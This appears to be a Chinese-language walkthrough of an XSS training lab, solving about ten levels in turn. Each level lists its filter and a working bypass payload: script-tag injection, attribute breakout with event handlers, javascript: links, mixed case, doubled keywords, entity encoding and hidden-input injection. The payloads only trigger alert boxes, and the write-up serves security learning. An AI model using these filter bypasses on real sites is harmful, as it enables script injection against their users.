枫枫不feng
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

https://xssaq.com/yx/level1.php?name=test
此处网页上的“欢迎用户”后面的值由后面网址的name的值提供,即在"?name="后面输入的值会在网页上显示出来且没有任何过滤。所以可以直接用script标签。
https://xssaq.com/yx/level1.php?name=<script>alert(1)</script>
input标签的value通过输入框赋值,可以考虑先闭合
"><script>alert(1)</script>
对<>进行了转义
' onclick=alert(1)
还需要过滤后面的内容
' onclick=alert(1)//
记得需要点击搜索框
发现过滤了<>
" onclick=alert(1)//
<>没有被过滤,script、onclick和onmouseover—>scr_ipt、o_click和o_nmouseover
"><a href="javascript:alert(1)">666</a>
此题不需要过滤后面的">
输入<script>alert('1')</script>
发现script被加了下划线
onclick和onmouseover同样如此
但<>并没有被转义
尝试上题使用的方法
"><a href="javascript:alert(1)">666</a>
发现href被过滤
经尝试后发现,此题可以通过大小写绕过
href、onclick、onmouseover和script大写都可以
onclick记得要点一下
输入<script>alert(1)</script>
发现script和href被过滤
onclick和onmouseover被加了下划线
"><a Href="javascriPt:alert(1)">666</a>
尝试大小写也不可以
此时可以通过双写绕过
"><a hhrefref="javascscriptript:alert(1)">666</a>
输入上题的答案
尝试后发现,此题仍对on,script和href添加了下划线,对双引号也进行了编码
查看页面代码后,发现输入的内容会进入到已有的a标签中的href中。因此我们不需要像以前一样闭合input标签,再添加a标签,我们可以直接输入javascript:alert(1)。
但是大小写或者双写都不能成功
这里可以将script的所有或者一个字母进行实体编号绕过
该块暂时无法转换。
javascript:alert
得到第九关的链接
https://xssaq.com/yx/level9.php?keyword=not bad!
输入第8关的答案后提示:链接不合法
在level-8的基础上,增加了URL的自动检测,如果发现添加友情链接中没有带http://内容则会显示为不合法
if(false===strpos($str7,'http://')){
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
所以可以在上一题的基础上末尾添加http://即可
javascript:alert//http:// (利用注释)
打开题目后发现没有输入口
查看源码
发现有三个input标签设置为hidden,尝试利用这三个标签完成攻击
test&t_sort="type="submit" onclick="alert(1)
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)